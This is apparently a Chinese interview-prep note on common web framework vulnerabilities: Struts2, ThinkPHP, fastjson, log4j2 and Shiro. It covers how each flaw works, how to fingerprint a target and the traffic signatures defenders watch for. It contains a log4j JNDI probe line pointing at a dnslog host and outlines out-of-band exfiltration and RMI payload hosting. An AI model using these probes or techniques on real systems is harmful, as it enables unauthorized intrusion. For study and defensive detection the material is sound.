前言
最近面试被问到了Struts2
等常用框架的问题。整理一下
正文
Struts2
原理 默认的content-type解析器会把用户传来的数据 直接当成代码执行,造成rce 特征 ognl表达式,memberaccess字段。可以通过catalina日志过滤关键信息查找攻击特征
ThinkPhp
RCE、SQL注入为主:
fastjson反序列化漏洞原理
利用原理
处理json数据过程中因为应用开启了autotype,却没进行安全的过滤,造成@type用户可控并会被服务器带回执行。所以利用POST-@type将值指向我们提前搭建在vps上的恶意class文件,期间配置RMI(marshalsec 搭建一个RMI服务器,进行远程加载payload)。传入数据之后,被服务器本地加载并执行反序列化造成漏洞
使用autotype功能进行序列化的json字符会带有一个@type来标记他字符的原始类型,然后在反序列化的时候会通过读取这个@type的值来调用setter或者是getter的方法来把json反序列化到对象。他这个漏洞就是@type的值可以被恶意构造,我们再构造一个合理的json,就能用@type指定一个攻击类库,从而实现攻击。
黑盒找洞
找json传输的接口测试回显,信息搜集指纹识别等、可以根据logo图标判断是否使用了fastjson或者改POST花括号不闭合看回显
报错识别
burp修改为post请求 MIME改为json传输 报错请求返回,会出现alibaba.fastjson,表示为:fastjson框架
不出网
直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过访问本地文件查看结果。通过dnslog外带(前提能执行dns请求)直接将结果回显到请求Poc的HTTP响应包中
特征
发送json数据会有datesourcename字段,且一般会有@type
log4j漏洞原理
该漏洞主要是当日志在打印时遇到符号${就会以:为分割,前面的内容当作profix,后面的内容当作key。然后根据profix去寻找对应的lookup,再根据lookup实例调用 lookup方法,最后将key作为参数带入执行,从而引发代码执行漏洞。
log4j2
漏洞原理
rmi和jndi这种服务,远程获取了恶意的class,解析之后造成rce 使用了lookup接口,通过JNDI注入触发日志,且调用jndi/rmi服务,远程获取了恶意的class, 同时java在加载class的时候,进行了反序列化,把 class还原成java,在反序列化中会触发你比如 (恶意class文件还原java后的代码中的)static里的代码Runtime.getRuntime().exec()这种代码,从而造成RCE
流量特征
通过全流量设备进行流量回查,同时匹配流量及日志中所有存在
jndi:ldap:// jndi:rmi
等字符的特征。 (工具可能触发)看DNS记录,设备上是否有dns外带检测告警
实战检测
url编码 传输payload,dnslog平台查看即可
${jndi:ldap://p8qnbn.dnslog.cn}
java之shiro漏洞原理
因为通过rememberme来实现cookie对用户的记住功能,而处理cookie的机制是rememberme作为入口,对数据先base64解码、然后AES解码、然后执行反序列化最后把数据传回服务器。而期间AES的密钥泄露造成用户可以进行恶意cookie重构,所有相反的顺序,通过AES的key,构造出payload,在cookie的rememberme进行注入即可执行反序列化漏洞
攻击特征
cookie-rememberme的值正常都比较短,而攻击时的base64值很长 有些工具利用的时候DNSLOG+URLDNS进行检测,所以可能会留下大量dns记录 判断shiro对key正确性
shiro: 查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包的set cookie,有rememberme=deleteme就说明它漏洞验证失败了。 shiro550: 因为cookie的AES加密使用的硬编码导致密钥可以被爆破,然后利用密钥进行解密和反序列化构建payload shiro721: 虽然没有硬解码,但是可以构建恶意的rememberme值,因为服务端收到登录请求后,会对cookie的rememberme字段的值进行base64解码,接着进行aes解密,然后反序列化。因为我们自己构造了rememberme,所以经过处理后它的字段就会异常的长,这就是它的流量特征。
二者区别:shiro550使用已知密钥,只要有足够的密钥库,就不需要remember cookie;shiro721的ase加密的key因为是系统随机生成的,基本猜不到,需要使用登录后的rememberme去爆破正确的key值。即利用有效的rememverme cookie作为padding oracle attack的前缀,然后精心构造rememberme cookie值来实现反序列化漏洞攻击,难度高
SpringBoot
CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, WordPress, Yii和ZendFramework